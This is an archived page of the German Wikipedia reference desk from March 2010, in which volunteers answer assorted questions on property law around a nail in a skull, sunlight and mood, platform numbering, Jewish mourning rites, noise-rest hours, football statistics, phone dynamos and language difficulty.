Sagt mal, gibt es nicht bei Eigentumsverhältnissen irgendeinen Geringfügigkeitsvorbehalt? Wenn ich sehe, wie jemandem ein 500-Euro-Schein aus der Tasche fällt und den Schein mitnehme, ohne was zu sagen, ist das sicherlich Fundunterschlagung oder so. Aber wenn es um eine Zehn-Cent-Münze ohne Sammlerwert geht? Wenn ich im Restaurant Teller und Gläser mitnehme, ist das Diebstahl. Aber ein paar Zahnstocher mehr? Und wieviel ist der Nagel wert? BerlinerSchule 00:19, 26. Mär. 2010 (CET)
Gibt es im BGB nicht, auch wenn es bei einem Prozess vermutlich eine Rolle spielen würde (über die reine Schadenssumme, für wen auch immer). --20% 00:24, 26. Mär. 2010 (CET)
Ein geringfügiger Wert ließe sich vielleicht aus § 965 BGB, Anzeigepflicht des Finders ableiten: „Ist die Sache nicht mehr als zehn Euro wert, [...]“ so erlischt beispielsweise die Anzeigepflicht eines Finders. Nur sehr wenige Nagelsorten sind pro Stück zehn oder mehr Euro wert. Ein gefundener Nagel würde somit unter normalen Umständen in das Eigentum des Finders übergehen.
Allerdings „findet“ ja das Opfer nicht in seinem Kopf einen „verlorenen“ Nagel sondern der Täter verbindet sozusagen sein Eigentum mit dem Kopf des Opfers. (Und bittesehr - wir wissen damit nicht, was hier schon von einigen unterstellt wird, ob es sich bei dem Nageln um einen bewußten Willensakt der Verletzung handelt oder ob wir über einen tragischen Unfall durch unglückliche Umstände sprechen, z.B. durch unsachgemäßen Einsatz eines pneumatischen Nagelschußgerätes!)
Es ist imho fraglich, ob die Tätigkeit des Verbindens (hier sicher als Mindestes eine fahrlässige schwere Körperverletzung) bzw. die Art der Verbindung (dauerhafte Verbindung durch einen Nagel) zum Verlust des Eigentums führt. Dabei sind auch die Charakteristika der Verbindung und ihre Lösbarkeit zu würdigen. Etwas weniger morbide wäre ein Szenario, in dem ein Mieter einen Nagel aus seinem Eigentum in die Wand einer Mietwohnung einschlägt. - Gehört der Nagel nun dem Vermieter? Ich denke nein, solange ein einfache Zange genügt, um den Nagel wieder an sich zu nehmen.
In beiden Fällen bedarf es eines weiteren Kenntniserhalts. In beiden Fällen ist denkbar und nicht ausgeschlossen, daß der Eigentümer seinen Nagel wiederhaben will und deshalb auf eine festere und dauerhaftere Verbindung verzichtet. Nageln kann auch in der Intention eine vorübergehende Form der Verbindung sein. Der Täter könnte z.B. in einem äußersten Fall, wenn er auch mit Vorsatz gehandelt hat, aus fetischistischen Neigungen heraus ein erhebliches Interesse an der Wiedererlangung seines Nagels haben. (Dies wäre dann neben der in diesem Kontext denkbaren Befriedigung des Geschlechtstriebs und der Grausamkeit ein weiterer niedriger Beweggrund, der als Grundlage für eine Mordanklage herhalten könnte). --84.191.60.120 01:49, 26. Mär. 2010 (CET)
@92.226.84.186: Ich denke, einen Nagel in einen Kopf nageln bedeutet nicht zwingend das Derelinquieren der Sache. Das Opfer nimmt nicht aktiv die Sache in seinen Eigenbesitz (§ 958 I BGB). Das Opfer ist passiv und vermutlich auch desinteressiert an der Sache (also der Inbesitznahme des Nagels, zumindest in der vorliegenden Form). Der Täter gibt auch seinen Besitz nach § 856 II BGB nicht auf: „Durch eine ihrer Natur nach vorübergehende Verhinderung in der Ausübung der Gewalt wird der Besitz nicht beendigt.“ Ein Täter, der sein Messer losgelassen hat, welches nun im Körper des Opfers steckt, stiehlt dem Opfer nicht das Messer, indem er es wieder herauszieht. Daß es der Natur einer Kugel mitnichten entspricht, nach dem Schuß nur vorübergehend der Ausübung der tatsächlichen Gewalt durch den Schützen entzogen zu sein, kann ich allerdings folgen. Insofern stimme ich mit der Schlußfolgerung von Wiprecht nicht überein. --84.191.60.120 02:52, 26. Mär. 2010 (CET)

Gab es je Abgründigeres HIER in der WIKIPEDIA-Auskunft? -- Grottenolm 00:25, 26. Mär. 2010 (CET)

A schlägt B mit einem Beil den Kopf ab. Wem gehört der Kopf? --20% 00:28, 26. Mär. 2010 (CET)
Dem Leichenbeschauer der Gerichtsmedizin. -jkb- 00:31, 26. Mär. 2010 (CET)
Der hat vermutlich selbst einen. (Nein, auch wenn er ihn zeitweilig in Besitz nimmt.) --20% 00:38, 26. Mär. 2010 (CET)
Schade, dass jemand den "Laichenbeschauer" korrigiert hat. Der war zu schön, so gleichzeitig an beiden Ecken des Lebens, denn a Laich is koa Leich'. Laich wird dann Kaulquappe, später Frosch. Bei der Leich' wird das nichts mehr, so mit ohne Kopf...
BerlinerSchule 00:44, 26. Mär. 2010 (CET)
Vor allem, weil die Frösche zuweilen etwas kopflos leichen, ehm laichen ... -jkb- 00:47, 26. Mär. 2010 (CET)
Eine gewisse, äh, Kopflosigkeit ist da doch speziesübergreifend am Werk, oder? --20% 02:02, 26. Mär. 2010 (CET)
"Nageln kann auch in der Intention eine vorübergehende Form der Verbindung sein." Wie wahr, wie wahr... SCNR --Jossi 08:24, 26. Mär. 2010 (CET)
Ich habe geahnt, daß das kommt, aber es war schon so spät und ich hatte schon so viel herumgeändert, daß ich es drauf ankommen lassen wollte. Du hast den Preis. :) --84.191.48.132 11:18, 26. Mär. 2010 (CET)
Ich möchte - im Zusammenhang mit diesem Thema - auf den (eine gute Chance habendenden "Lesenswert" zu werdenden) Artikel Eigentumstheorien hinweisen. Die Beantwortung der Frage kann also durchaus davon abhängen, ob man dabei an Thomas von Aquin, David Hume, Karl Marx oder Elliot Spencer denkt. Schönes Wochenende. G! GG nil nisi bene 08:44, 26. Mär. 2010 (CET)

für mich hört sich das sehr deutlich nach einer Schenkung an *g* 217.227.103.33 22:36, 26. Mär. 2010 (CET)

Sonnenlicht und gute Laune

Etwas was man in den letzten Tagen sicherlich sehr gut beobachten konnte ist die gute Laune der Kollegen. Sicherlich hängt das mit der Sonne zusammen und wie lange sie auf uns einwirkt, weil das - habe ich mir sagen lassen- chemische Stoffwechselreaktionen im Gehirn auslöst und ein Glückshormon ausgeschüttet wird. Es ist schon erstaunlich was für eine Stimmungsänderung das Licht bewirken kann (wird ja auch als Therapie bei Depressionen benutzt). Daher die Frage: Nehmen wir an wir hätten das ganze Jahr über Sonne - ist das Sonnenlicht dann die ganze Zeit ein glücklich-machender Faktor? Oder macht das Sonnenlicht uns glücklich eben weil wir im Kontrast vorher so eine Dunkelphase wie den Winter hinter uns hatten? Anders gesagt: Bedingt die Dunkelheit das Wohlfühlen im Licht? oder ist es mehr die Gleichung: Menge xyz Lichteinwirkung -> Menge xyz chemischer Glückshormone im Gehirn (also eher absolut). Interssant wären hierbei auch Studien von Menschen wie da oben in Norwegen bei denen tagelang die Sonne scheint oder derartiges. Oder wieder anders gefragt: Brauchen wir Dunkelheit? --Bitte&Danke 19:18, 25. Mär. 2010 (CET)

ja zum (gesunden) Schlaf, Melatonin wird bei Dunkelheit ausgeschüttet und die Dunkelheit dient dann im Wechsel mit Licht als Zeitgeber, vgl etwa auch Jetlag----Zaphiro Ansprache? 19:32, 25. Mär. 2010 (CET)
(Bearbeitungskonflikt) Sowohl als auch. Licht wirkt generell stimmungsaufhellend. In Breiten wie unseren, wo sich die Jahreszeiten deutlicher bemerkbar machen als z. B. in Zentralafrika, kommt sicher noch der Unterschied dazu, das „Es geht aufwärts!“ Die Absenkung des Melatoninspiegels spielt da wohl eine zentrale Rolle.
Dunkelheit brauchen wir sicherlich. Möglichst einmal täglich für einige Stunden. Sonst wird das dauerhaft nix mit dem erholsamen Schlaf und man wird früher oder später gaga. Rainer Z ... 19:39, 25. Mär. 2010 (CET)
Nachtrag: vor kurzem habe ich irgendwo gelesen (Tageszeitung oder Internet), dass dies auch biologische und evolutionäre Gründe hat, dass es Frühlingsgefühle (im Tierreich wohl eher Brunft) gibt, rein wegen der Nahrungsversorgung von Schwangeren/Trächtigen in den Sommermonaten ;-)----Zaphiro Ansprache? 22:12, 25. Mär. 2010 (CET)
Hier ein Artikel aus der NY Times, der erläutert, was für ein Knaller richtiges Sonnenlicht ist, dass der Einfluss stärker bei den "deprived" (z.B. Finnen) ist und das der Homo indooris noch nicht auf das richtige Sonnenlicht verzichten kann. Finnland hat ja eine hohe Selbsttötungsrate. Man sollte mal nachsehen, ob Menschen in sonnigeren Gefilden wirklich immer besser drauf sind, als Menschen in eher dunkelen Ländern. Mit sonnigem Gemüte G! GG nil nisi bene 23:51, 25. Mär. 2010 (CET)
Ich bezweifle, dass die depressive Stimmung in den Flüchtlingslagern und AIDS-Hospizen Afrikas mit der Sonneneinstrahlung irgendwas zu tun hat. --Sr. F 08:35, 26. Mär. 2010 (CET)
Was glaubst du wie schlecht die erst drauf wären wenns jeden Tag regnen würde? ;) ... --81.200.198.20 10:10, 26. Mär. 2010 (CET)
Auch die Selbstmordrate (nach Ländern) gibt keinen Aufschluss, da bei direkter Bedrohung von aussen, die SMR sinkt. Was der NYT-Artikel nahe legt, ist dass der Effekt bei Ländern, in denen ein deutlicherer Übergang Dunkel => Sonnig erfolgt, auch die Auswirkungen deutlicher festzustellen sind. G! GG nil nisi bene 11:08, 26. Mär. 2010 (CET)
+ 1 @Sr. F: Ich habe fast drei Jahre meines Lebens an einem Ort namens Andacollo im nördlichen Chile gelebt. Da hat es im Jahr höchstens fünf Tage geregnet und es gab da nur zwei "Jahreszeiten" (tags über heiß, und nachts über eisig, haha). Spätestens nach einem Jahr wird es echt nervig, wenn jeden (verdammten) Tag die Sonne scheint! Die Finnen sind vielleicht depressiv im Winter, aber dafür können sie dann im Sommer auch manisch werden! Wüstenbewohner werden wahrscheinlich nur depressiv... Geoz 16:39, 26. Mär. 2010 (CET)

Bahnsteig 13

wie heißen die leute die bei der bahnsteig 13 spielen (nicht signierter Beitrag von 88.68.121.185 (Diskussion | Beiträge) 07:45, 26. Mär. 2010 (CET))

Gibt es denn überhaupt Bahnsteige mit der Nummer 13?--134.2.3.103 09:01, 26. Mär. 2010 (CET)
Das Geheimnis von Bahnsteig 13? --Geri 09:30, 26. Mär. 2010 (CET)
@134.2.3.103: Der Münchener Hauptbahnhof verfügt über insgesamt 18 Bahnsteige [21] und der Hauptbahnhof in Frankfurt am Main in der Haupthalle über 13 Fernbahnsteige [22]. Allerdings sind nach meiner Erinnerung in der Regel nicht die Bahnsteige sondern die Gleise numeriert. --84.191.48.132 11:11, 26. Mär. 2010 (CET)
In Nürnberg gibt es ein Gleis 13 aber eben keinen Bahnsteig 13. Dachte das wär überall so. --134.2.3.103 17:27, 26. Mär. 2010 (CET)
Ich glaube, einen Bahnsteig 13 gab es früher mal im alten England - keine Ahnung, ob das heute noch so ist. Aber im deutschsprachigen Raum und wohl auch sonst im kontinentalen Europa werden die Gleise numeriert, seltener buchstabiert. BerlinerSchule 18:13, 26. Mär. 2010 (CET)
In England würde man tatsächlich platform (Bahnsteig) 13 sagen. Streng genommen werden aber dennoch nicht die Bahnsteige nummeriert, sondern die Gleise. Ein Bahnsteig zwischen zwei Gleisen hat also zwei Nummern, wie bei uns. Der Artikel en:Railway platform erklärt das schon in der Einleitung sehr schön. Da steht auch, dass man in den USA track (Gleis) sagt. --Frage-Antwort-System 21:15, 26. Mär. 2010 (CET)
Der Hauptbahnhof in Frankfurt am Main im Jahr 1960. Und nun die Preisfrage: Bezeichnet die "13" hier einen Bahnsteig oder ein Gleis (empfohlen)? Und wie heißen die Leute?
Der Artikel Bahnsteig teilt etwas verwirrend mit: „Sofern ein Hausbahnsteig vorhanden ist, wird dieser fast immer als Gleis 1 oder Bahnsteig 1 bezeichnet und ist Ausgangspunkt der Nummerierung aller weiteren Gleise.“ Und unsere englischen Kollegen behaupten: „Only Cardiff Central, Haymarket, Stockport, (in the UK), Uppsala, (Sweden) and Lidcombe, Sydney (Australia) have a platform 0 (zero); other stations number their platforms consecutively from 1.“ In dem legendären Bahnhof King’s Cross geht es allerdings nicht um die geheime Nummer eines Bahnsteigs sondern um das geheime Gleis 9¾. Ich schlage vor, bei Bedarf weitere und detailliertere Auskünfte über Genesis, Aufstieg und Niedergang und die damit verbundenen örtlichen Feinheiten einer zeitgenössischen Bahnsteigbezeichnung bei den vielköpfigen Experten des Portals Bahn einzuholen. --84.191.48.132 21:30, 26. Mär. 2010 (CET)
Die Antwort zum Frankfurter Bild lautet "Gleis 13": Wie sich auch aus dem Bild ergibt, steht auf dem Puffer des rechts benachbarten Gleises "14". Gruß -- Dr.cueppers - Disk. 23:01, 26. Mär. 2010 (CET)
Nicht auf dem Puffer, sondern auf dem Prellbock. Wie der junge Mann heißt, der offenbar nicht die FAZ mit Frakturschrift liest, weiß ich nicht, aber als Pufferküsser kenn ich die Namen der Dampfloks :-) --Schlesinger schreib! 23:07, 26. Mär. 2010 (CET)
Pufferküsser ist süß (und für mich neu) - aber aus der de.wp offenbar leider recht gründlich wieder entfernt. Einzig als „scherzhafte Bezeichnung“ in Puffer (Bahn) einerseits und als „angeblich verbreitete[r] Schimpfname“ in Entwicklung der Modelleisenbahn in Europa andererseits ist es bei uns noch erhalten [23]. Über die Diskussion zu trainspotter bei leo.org sehe ich, daß auch der Artikel Trainspotter bei uns eliminiert wurde und die kargen Überreste sich in Spotter befinden. Nur im Wiktionary und bei der Uni Leipzig ist „Pufferküsser“ noch erhalten geblieben. Was für ein Niedergang. In der en.wp verweist „Trainspotter“ nach Railfan. --84.191.48.132 00:58, 27. Mär. 2010 (CET)

Jüdische Beerdigung

Ich habe irgendwo gelesen, dass man sich bei jüdischen Beerdigungen rituell einen Stoffstreifen oder so was von der Kleidung reißt. Gibt es dafür (für den Stofffetzen) einen Namen?--92.225.92.149 12:50, 26. Mär. 2010 (CET)

meines Wissens zeriss man früher aus Trauer seine Kleidung, ich nehme an das man um jene zu schonen heute Stofffetzen verwendet, oder eine Krawatte... PogoEngel 13:38, 26. Mär. 2010 (CET)
das ist sicher in der symbolik des zerissenen herzens zu sehen. PogoEngel 13:40, 26. Mär. 2010 (CET)
So sagt das der Zentralrat der Juden ebenfalls: [24] --FNORD 14:05, 26. Mär. 2010 (CET)
Wow - Krass ! *selbstschulterklopf* PogoEngel 14:11, 26. Mär. 2010 (CET)
Das Einreißen der Kleider: Nach dem Kaddisch reißt man aus Trauer um den Toten seine Kleider ein. Ein Mitglied der Chewra Kadischa tritt zu jedem einzelnen Trauernden und reißt den Saum seines Gewandes ein, und dann sagt der Trauernde einen Segensspruch und ergreift die Ecke des Gewandes, zieht es stärker nach unten und vergrößert auf diese Weise eigenhändig den Riß. Eine Frau der Chewra Kadischa vollzieht die gleiche Handlung bei den trauernden Frauen. Ist der Vater oder die Mutter gestorben, wird das Gewand an der linken Seite des Trauernden eingerissen, bei anderen Verwandten rechts. Ein Riß über den Tod eines Vaters oder einer Mutter wird nie wieder geflickt, und das Gewand wird nach der Schiwa, der siebentägigen Trauerwoche, nicht zum Ausbessern weggegeben; dagegen kann der Riß über den Tod eines anderen Verwandten geflickt werden. -- Michael Kühntopf 15:21, 26. Mär. 2010 (CET)
Der Begriff dafür ist übrigens: קריעה, qrijjah, "Einriss" -- Michael Kühntopf 15:34, 26. Mär. 2010 (CET)
Danke, die Tradition scheint euch recht alt zu sein, ich habe da eine Stelle aus Joel im Hinterkopf, "Zerreißt eure Herzen,nicht eure Kleider" so in die Richtung. -- PogoEngel 16:18, 26. Mär. 2010 (CET)

Einheit

In welcher Einheit misst man normalerweise den Flächeninhalt des Deltoides? --88.117.106.64 18:30, 26. Mär. 2010 (CET)

Du meinst Deltoid? Mathematikern sind Einheiten ziemlich wurscht, Drachenbauer werden vielleicht in cm messen, Vermessungstechniker vermutlich in Metern - du muss da schon etwas genauer fragen. --El Grafo 18:46, 26. Mär. 2010 (CET)
Flächen sind aber keine Längen. Üblicherweise wird eine Fläche eher berechnet als gemessen. Gemessen werden dann Längen, zum Beispiel eben in m und abgeleiteten Einheiten davon wie cm oder mm (→ Längenmaß). Flächeneinheiten sind m² und abgeleitete Einheiten davon wie cm² oder mm² (→ Flächenmaß). Anka Wau! 18:53, 26. Mär. 2010 (CET)
Autsch! Du hast natürlich vollkommen Recht. Kannste mal sehen, wie selbstverständlich man (ich) davon ausgeht, dass man erstmal Längen misst und dann die Fläche berechnet (wobei das prinzipiell auch direkt geht: Planimeter). Ändert aber nichts an der Tatsache, dass die Frage ungenau war ;-) --El Grafo 20:08, 26. Mär. 2010 (CET)

Gebärmutterkarzinom

Hallo, wer kennt sich mit Karzinom in der Gebärmutter aus, bin 52 Jahre alt und habe ab und an noch meine Regel. Was muß ich tun und wie muß ich mich verhalten? L.G. M.B. --89.247.106.29 18:51, 26. Mär. 2010 (CET)

Zum Arzt gehen. Was sonst? ---kiesel- 18:52, 26. Mär. 2010 (CET)
Wenn Du in der Wikipedia etwas Lesen willst zu dem, was Ärzte Dir sagen, fang an mit Uteruskarzinom. Bedenke: Du hast das Recht darauf, Dir alles von ÄrztInnen erklären zu lassen, bis Du es verstanden hast! Das kann Dein Computer Dir nicht bieten --Pfarrhaus 19:43, 26. Mär. 2010 (CET)

EA-Foto?

Was bitte bedeutet EA-Foto? Filmfotos werden ja so bezeichnet, aber eine genaue Definition konnte ich nicht finden.--80.138.208.60 20:18, 26. Mär. 2010 (CET)

Die Sammler verstehen darunter, soweit ich weiß, ganz banal ein Erstaufführungsfoto, also ein Werbefoto zur Filmpremiere. Grüße 85.180.200.243 23:13, 26. Mär. 2010 (CET)

Doña Isabella

Frage: Welche Doña Isabella war es, die wegen Ketzerei verbrannt wurde? Sie soll Cousine von König Phillip von Spanien gewesen sein. Blöderweise ist die Quelle, aus der ich das habe, derart unseriös, dass ich hoffe, hier Hilfe zu finden. --88.66.195.109 23:21, 26. Mär. 2010 (CET)

Schreibregel

Gibt oder gab es eine Regelung, nachdem die Zahlen von Eins bis Zwölf (bzw. Zehn) als Wort ausgeschrieben werden, und die zahlen ab 13 in Ziffern, bzw. Hundert und Tausend als Ausnahme davon?Oliver S.Y. 00:09, 27. Mär. 2010 (CET)

Das ist im Buchdruck seit Alters her so üblich. Die Duden-„Regelungen für den Schriftsatz“ hingegen halten die Regel für Quatsch. PDD 00:30, 27. Mär. 2010 (CET)
Ich kenne es als Eins, Zwei, Drei,...,Neunzehn, Zwanzig, 21, 22, 23, usw. --95.88.24.36 00:41, 27. Mär. 2010 (CET)
Außer in vielen Ausnahmefällen liegt die magische Grenze zwischen zwölf und 13. BerlinerSchule 01:01, 27. Mär. 2010 (CET)
Wikipedia meint das zum Thema: Schreibweise von Zahlen. --Buchling 01:03, 27. Mär. 2010 (CET)
Danke Buchling, aber ich meinte eigentlich "ältere" Quellen bzw. Regelungen. Das mit dem Buchdruck erscheint mir eher als "Handwerkskodex" - und unausgesprochen beziehe ich mich aber eher auf Buchhaltung und Rechtsgeschäfte, wo m.E. diese Regelung auch in Verträgen und Aufsätzen gilt. Glaube mich sogar an die Grundschule zu erinnern, wo sowas irgendwann in der dritten oder vierten Klasse festgelegt wurde. Aber mir fehlt die exakte Regel, nicht die Anwendung ansich.Oliver S.Y. 01:07, 27. Mär. 2010 (CET)

Abendruhe

bis wieviel Uhr Abends darf man in seiner Wohnung Löcher in die Wand bohren? --78.48.10.204 17:42, 25. Mär. 2010 (CET)

bei guten Nachbarn rund um die Uhr, aber nur so lange wie sie gute Nachbarn sind, aber in der Regel sollte spätestens ab 9 Uhr Schluss sein --91.115.182.225 17:44, 25. Mär. 2010 (CET)
Normalerweise ist so was in der Hausordnung festgelegt. Gruss, --Cú Faoil RM-RH 17:51, 25. Mär. 2010 (CET)
...und die ist Teil des Mietvertrages, d.h. wird in ihm anerkannt. Es wird wohl auch eine Rolle spielen, wieviele Löcher man so bohrt. Bei einem Loch um halb 10 aus der Not heraus kommt man auch mit einem pädagogischen "Dudu" davon :) --84.191.60.120 18:17, 25. Mär. 2010 (CET)
bei guten wohnungen auch rund um die Uhr, aber nur so lange bis man die schall-/wärme-dämmung abgetragen hat... --Heimschützenzentrum (?) 18:13, 25. Mär. 2010 (CET)
Üblicherweise bis 22 Uhr. Die Hausordnung liegt meistens dem Mietvertrag bei. --20% 18:19, 25. Mär. 2010 (CET)
Geregelt ist das im jeweiligen Landes-Immissionsschutzgesetz, und da steht (soviel ich weiß für alle Bundesländer) was von Nachtruhe zwischewn 22 und 6 Uhr. Ich glaube nicht, dass eine Hausordnung wirksam etwas anderes bestimmen kann. Joyborg 18:26, 25. Mär. 2010 (CET) PS: Drum heißts bei Badesalz ja auch "Günther komm vom Balkon, ´s is´ nach zehn!"
Ja, kenne ich auch so (22-6 Uhr). -- Michael Kühntopf 18:28, 25. Mär. 2010 (CET)
siehe auch Nachtruhe; ich bilde mir ein das ich schon mal eine Definition von; Beginn der Abendruhe = 21 Uhr und Nachtruhe 22 - 6 Uhr gehört habe, aber trotzdem 10 Uhr ist deadline ganz strikt vom Gesetz her, auch im Ösiland --91.115.182.225 18:27, 25. Mär. 2010 (CET)

Und wenn du nett zu deinen Nachbarn sein willst, solltest du freiwillig nur zwischen 8 und 20 Uhr, besser noch zwischen 10 und 18 Uhr bohren. Rainer Z ... 18:35, 25. Mär. 2010 (CET)

Habe eine Definition gefunden
  • Sonn- und Feiertage (Sonntagsruhe)

an Werktagen die Zeiten von

  • 12:30 Uhr bis 14:00 Uhr (Mittagsruhe)
  • 20:00 Uhr bis 22:00 Uhr (Abendruhe)
  • 22:00 Uhr bis 07:00 Uhr (Nachtruhe).

So oder so ähnlich zieht es sich durch Europa, ausser in Ländern in denen es eine Siesta gibt, gruß noch auf das sie auch morgen noch Ihre Nachbarn freundlich grüßen--91.115.182.225 18:37, 25. Mär. 2010 (CET)

In Österreeich (bzw. zumindestens in Wien) sind Mittags- und Abendruhe z.B. bei den Hausordnungen nicht üblich. Eine allgemeine gesetzliche Regelung gibt's in Österreich soviel ich weiß nicht (mit speziellen genhemgungen darf man an Baustellen z.B. auch in der Nacht arbeiten und Lärm machen, allerdings weiß ich nicht, ob man solche Genehmigungen auch in Wohngebieten bekommt). Sonntagsruhe gibt's aber schon und am Sa ab 12:00 muss auch Ruhe sein. --MrBurns 18:52, 25. Mär. 2010 (CET)
Und dann gibt es noch vereinzelt Leute, die ihre Kinder mittags schlafen lassen. Rainer Zs Vorschlag finde ich deshalb nicht so toll. --84.191.60.120 19:07, 25. Mär. 2010 (CET)
@91.115... hat recht, wobei die Ruhezeiten offenbar kommunal unterschiedlich sind. Es kann auch schon ab 19 Uhr verboten sein, wie z.B. laut dieser Verordnung aus Göttingen: "(1) Ruhezeiten sind: (...) an Werktagen die Zeiten von 13 - 15 Uhr (Mittagsruhe), 19 - 22 Uhr (Abendruhe), 22 - 07 Uhr (Nachtruhe). (2) In bewohnten Gebieten sind während der Ruhezeiten mit starkem Geräusch verbundene Arbeiten verboten, insbesondere a) der Betrieb von Handwerksgeräten wie z.B. Sägen, Bohr- und Schleifmaschinen, Pumpen,(...)". Wobei sich das auf öffentliche Flächen bezieht. Joyborg 19:15, 25. Mär. 2010 (CET)
Unser Nachbar hat mal einen Prozess verloren wegen Motorrasenmähens in der Mittagszeit; dabei stellte sich heraus, dass eine damit beauftragte Firma zwischen 13 und 14 Uhr den Rasen hätte mähen dürfen, der beim Nachbarn angestellte Gärtner/Hausmeister jedoch nicht. Gruß -- Dr.cueppers - Disk. 19:30, 25. Mär. 2010 (CET)
Und nicht zu vergessen: Unser Artikel: Ruhestörung. -- 78.43.60.58 00:39, 26. Mär. 2010 (CET)

@MrBurns: Da hast Du recht, dass es keine einheitliche Regelung in A gibt - denn der Immissionsschutz ist Gemeindesache. Mit Samstag 12:00 hast Du jedoch nicht recht, zB ist in Graz das Arbeiten auch Samstag nachmittag noch erlaubt: Während der Zeit von 19 bis 7 Uhr, samstags auch von 12 bis 15 Uhr, sowie an Sonn- und Feiertagen sind ... lärmerzeugende Gartenarbeiten, mit Ausnahme solcher auf Grünanlagen, die öffentlichen Zwecken dienen, verboten. (Quelle) -- TheRunnerUp 11:44, 27. Mär. 2010 (CET)

Welcher Spieler war jemals in einer Saison die meisten Minuten im DFB-Pokal und 1. Bundesliga im Einsatz? Erl.

Kann die Statistik leider weder hier in WP noch bei google finden. Wäre dankbar über Infos.--84.185.3.219 20:11, 26. Mär. 2010 (CET)

War wohl Uwe Kamps in der Saison 1991/92. Einzige Spielzeit der 1. Bundesliga mit 20 Mannschaften, daher 38 Spiele, die Kamps als einziger Gladbacher über die volle Distanz bestritt = 3420 Minuten, dazu im Pokal alle sechs Partien seines Teams über die volle Distanz bestritten, darunter zweimal Verlängerung, macht also nochmal 600 Minuten, zusammen 4020. --Ureinwohner uff 01:22, 27. Mär. 2010 (CET)

Super ich danke dir. --84.185.3.219 05:33, 27. Mär. 2010 (CET)

Dazu kommt noch mindestens das Elfmeterschießen im Halbfinale des Pokals ;-) -- Gnu1742 12:22, 27. Mär. 2010 (CET)

Handy-Dynamos

Hallo,

Es gibt ja so kleine Dynamos, mit den man sein Handy zur Not auch ohne Steckdose für ein paar Minuten aufladen kann. Ich habe da schon mal gegoogelt und in die Rezensionen bei Amazon geschaut. Die Meinungen gingen in beiden Fällen sehr auseinander.

--Einer aus Finthen 20:41, 26. Mär. 2010 (CET) Hat hier schon jemand Erfahrungen damit gemacht und kann mir ggf ein gerät empfehlen?

Ich hatte mir mal eins für'ne Bergwanderung ausgeliehen. Es hat funktioniert, für ein oder zwei nicht zu lange Gespräche reichte ne Kurbelei von etwa einer halben Minute. Schwachpunkt könnte allerdings die Mechanik sein, das Zahnradgetriebe hat bei den Billigteilen keine allzu gute Qualität, außerdem immer auf gute Schmierung achten. --Schlesinger schreib! 22:15, 26. Mär. 2010 (CET)
Hmmmm. Hätte nie gedacht, daß die Handy-Technologie sich selber in Marconis Verbindungs-Kurbel-Zeiten versetzt. Ha. -jkb- 23:27, 26. Mär. 2010 (CET)
Man kann Handys auch am Fahrrad-Dynamo aufladen. --Marcela 23:32, 26. Mär. 2010 (CET)
Nur als ergänzender Hinweis (und weil ein Artikel dazu bei uns fehlt :): Mittlerweile gibt es auch ein Angebot an Solarladegeräten (Beispiel 1, Beispiel 2, Beispiel 3 für Fahrzeugbatterien). Für manche Bedarfsfälle möglicherweise eine Alternative. --84.191.48.132 00:31, 27. Mär. 2010 (CET)
Diese Solardinger habe ich auch schon mal gesehen....... prinzipiell könnte man sich da ja eins auf den Rucksack schnallen. --Einer aus Finthen 08:44, 27. Mär. 2010 (CET)

Schwierige Sprachen / Verzeichnis und/oder Reihenfolge

Kennt jemand eine Quelle, in der die Sprachen dieser Welt nach ihrem objektiven Schwierigkeitsgrad beim Erlernen und/oder Sprechen allgemein oder für Europäer oder Deutsche aufgelistet sind, in deutscher oder gerne auch in englischer Sprache, vielleicht auch mit Begründung oder näheren Informationen? Vom Auswärtigen Amt gibt es eine ältere "Sprachenliste", in der die Sprachen grob in 4 Gruppen eingeteilt werden; die ist aber nicht so aussagekräftig. --79.217.45.53 19:13, 23. Mär. 2010 (CET)

Selbst für Muttersprachler einer bestimmten Sprache (z. B. Deutsch) hängt die subjektive Schwierigkeit des Spracherwerbs von einer Vielzahl von Faktoren ab, das sind beispielsweise didaktische, biographische, psychologische Faktoren, auch Vorkenntnisse in anderen Sprachen, die sich vor- aber auch nachteilig auswirken können. Eine objektive "Schwierigkeitsliste", wie du sie forderst, kann es nicht geben. --77.177.45.94 19:19, 23. Mär. 2010 (CET)
Ganz genau. Generell hängen die Schwierigkeiten beim späteren Erlernen einer anderen Sprache zu einem guten Teil mit der Parametrisierung beim Erstspracherwerb zusammen. Eng verwandte indogermanische Sprachen sind da natürlich für deutsche Muttersprachler zugänglicher, auf der anderen Seite kann beim Zweit(Dritt-, usw.)spracherwerb aber auch Kontrastarmut zu Problemen führen. --Mai-Sachme 19:52, 23. Mär. 2010 (CET)

Ich habe mal eine Liste der Sprachen nach der Schwierigkeit der Grammatik gesehen. Da führt Abchasisch, und den letzten Platz teilen sich Englisch un Hochhinesisch.--Alexmagnus 22:42, 23. Mär. 2010 (CET)

Das meine ich - an so einer Liste bin ich interessiert. Und wenn eng verwandte indogermanische Sprachen für deutsche Muttersprachler zugänglicher sind, wäre es interessant für mich, wie es mit den z.B. finnisch-ugrischen und asiatischen Sprachen im Hinblick auf die Schweirigkeit der Grammatik und damit der Erlernbarkeit für deutsche Muttersprachler aussieht. (nicht signierter Beitrag von 79.217.46.144 (Diskussion | Beiträge) 08:06, 24. Mär. 2010 (CET))
Wobei es aber nicht allzuviel nutzt das Chinesisch so gut wie keine Grammatik hat. Die Vokabeln muss man als Europäer alle auswändig lernen, man kann keine einzige herleiten. Dazu kommt die ungewohnte Aussprache: etwa 3 Formen für sowas wie "tsch" und genau so viele für "dsch", und dann noch die Vokal-Intonationen obendrauf. Und wenn man die nicht fehlerlos beherrscht, wird man nicht verstanden. --Hareinhardt 10:24, 24. Mär. 2010 (CET)
Das ist im Finnischen insofern ähnlich, als die Grammatik zwar in einigen Punkten anders (z.B. Kasusendungen statt Präpositionalkonstruktionen, "nicht" als Verb), aber insgesamt nicht schwieriger ist als im Deutschen, der Wortschatz aber ebenfalls so gut wie keine Ab- oder Herleitungsmöglichkeiten bietet und deshalb für einen Indogermanen schwer zu erlernen ist. Dafür ist die Aussprache dann wieder extrem einfach. Es ist also nicht so ohne weiteres möglich, pauschal einen Schwierigkeitsgrad von Sprachen festzulegen. -- Jossi 10:35, 24. Mär. 2010 (CET)
Aber gerade Finnisch ist wegen seines agglutinierenden Spachsystems (Infixe, Sffixe usw.) und der 15 Kasus extrem schwierig für uns "Indogermanen" zu erlernen. (nicht signierter Beitrag von 79.217.45.251 (Diskussion | Beiträge) 14:04, 27. Mär. 2010 (CET))


